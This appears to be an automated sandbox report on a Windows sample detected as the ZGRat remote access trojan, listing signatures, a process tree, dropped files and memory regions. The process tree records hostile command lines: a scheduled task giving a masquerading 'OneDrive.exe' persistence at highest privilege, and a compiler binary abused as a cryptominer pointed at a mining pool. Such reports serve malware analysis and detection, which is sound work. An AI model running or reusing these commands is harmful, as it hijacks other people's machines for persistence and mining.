Analysis
- max time kernel
3s - max time network
97s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
- submitted
08/01/2024, 01:02
General
- Target 7b3c1e60932c652fc591de285279cbdfb7292b54899842ea5c627fedc7cee8ab.exe
- Size 5.0MB
- Sample240108-bd9pzshdfl
- SHA256 7b3c1e60932c652fc591de285279cbdfb7292b54899842ea5c627fedc7cee8ab
Malware Config
Signatures
- Detect ZGRat V1 1 IoCs
- ZGRat
ZGRat is remote access trojan written in C#.
- .NET Reactor proctector 1 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- Executes dropped EXE 1 IoCs
- UPX packed file 16 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Uses the VBS compiler for execution 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\7b3c1e60932c652fc591de285279cbdfb7292b54899842ea5c627fedc7cee8ab.exe"C:\Users\Admin\AppData\Local\Temp\7b3c1e60932c652fc591de285279cbdfb7292b54899842ea5c627fedc7cee8ab.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp42F4.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
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C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"4⤵
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl4⤵
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"1⤵
- Creates scheduled task(s)
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
OneDrive.exe
OneDrive.exe
tmp42F4.tmp.bat
memory/1912-22-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/1912-14-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/1912-37-0x00000191E5A80000-0x00000191E5AA0000-memory.dmp
memory/1912-38-0x00000191E5AA0000-0x00000191E5AC0000-memory.dmp
memory/1912-16-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/1912-36-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/1912-20-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/1912-21-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/1912-23-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/1912-25-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/1912-24-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/1912-30-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/1912-19-0x00000191E58D0000-0x00000191E58F0000-memory.dmp
memory/1912-31-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/1912-13-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/1912-26-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/1912-27-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/1912-28-0x00000191E5A60000-0x00000191E5A80000-memory.dmp
memory/1912-29-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/1912-32-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/1912-33-0x00000191E5A80000-0x00000191E5AA0000-memory.dmp
memory/1912-34-0x00000191E5AA0000-0x00000191E5AC0000-memory.dmp
memory/2824-0-0x00000000004B0000-0x00000000009BE000-memory.dmp
memory/2824-35-0x00007FFEA1D20000-0x00007FFEA27E1000-memory.dmp
memory/2824-7-0x00007FFEA1D20000-0x00007FFEA27E1000-memory.dmp
memory/3108-11-0x00007FFEA0070000-0x00007FFEA0B31000-memory.dmp
memory/3108-17-0x00007FFEA0070000-0x00007FFEA0B31000-memory.dmp
memory/3108-12-0x000000001CF40000-0x000000001CF50000-memory.dmp